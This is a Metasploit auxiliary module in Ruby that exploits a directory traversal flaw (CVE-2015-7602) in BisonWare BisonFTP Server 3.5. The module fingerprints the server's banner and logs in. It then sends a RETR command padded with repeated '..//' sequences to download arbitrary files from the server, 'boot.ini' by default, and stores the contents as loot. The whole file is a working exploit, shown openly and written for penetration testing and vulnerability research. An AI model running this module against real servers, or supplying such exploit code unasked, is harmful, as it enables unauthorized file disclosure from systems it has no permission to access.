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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Ftp
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::Scanner
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure',
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        'Description' => %q{
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          This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server
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          version 3.5. This vulnerability allows an attacker to download arbitrary files from the server
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          by crafting a RETR command including file system traversal strings such as '..//.'
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        },
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        'Platform' => 'win',
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        'Author' => [
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          'Jay Turla', # @shipcod3, msf and initial discovery
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          'James Fitts',
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          'Brad Wolfe <brad.wolfe[at]gmail.com>'
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'EDB', '38341'],
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          [ 'CVE', '2015-7602']
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        ],
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        'DisclosureDate' => '2015-09-28',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
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        OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])
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      ]
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    )
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  end
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  def check_host(ip)
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    begin
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      connect
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      if /BisonWare BisonFTP server product V3\.5/i === banner
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        return Exploit::CheckCode::Appears
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      end
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    ensure
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      disconnect
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    end
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    Exploit::CheckCode::Safe
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  end
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  def run_host(target_host)
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    begin
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      connect_login
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      sock = data_connect
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      # additional check per https://github.com/bwatters-r7/metasploit-framework/blob/b44568dd85759a1aa2160a9d41397f2edc30d16f/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
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      # and  #7582
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      if sock.nil?
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        error_msg = __FILE__ << '::' << __method__.to_s << ':' << 'data_connect failed; possible invalid response'
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        print_status(error_msg)
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        elog(error_msg)
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      else
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        file_path = datastore['PATH']
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        file = ::File.basename(file_path)
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        # make RETR request and store server response message...
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        retr_cmd = ("..//" * datastore['DEPTH']) + "#{file_path}"
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        res = send_cmd(["RETR", retr_cmd])
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        # read the file data from the socket that we opened
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        # dont assume theres still a sock to read from. Per #7582
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        if sock.nil?
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          error_msg = __FILE__ << '::' << __method__.to_s << ':' << 'data_connect failed; possible invalid response'
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          print_status(error_msg)
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          elog(error_msg)
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          return
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        else
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          # read the file data from the socket that we opened
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          response_data = sock.read(1024)
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        end
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        unless response_data
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          print_error("#{file} not found")
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          return
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        end
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        if response_data.length == 0
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          print_status("File (#{file_path})from #{peer} is empty...")
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          return
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        end
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        # store file data to loot
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        loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path)
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        vprint_status("Data returned:\n")
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        vprint_line(response_data)
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        print_good("Stored #{file_path} to #{loot_file}")
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      end
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    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
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      vprint_error(e.message)
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      elog(e)
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    rescue ::Timeout::Error, ::Errno::EPIPE => e
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      vprint_error(e.message)
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      elog(e)
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    ensure
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      data_disconnect
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      disconnect
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    end
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  end
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end
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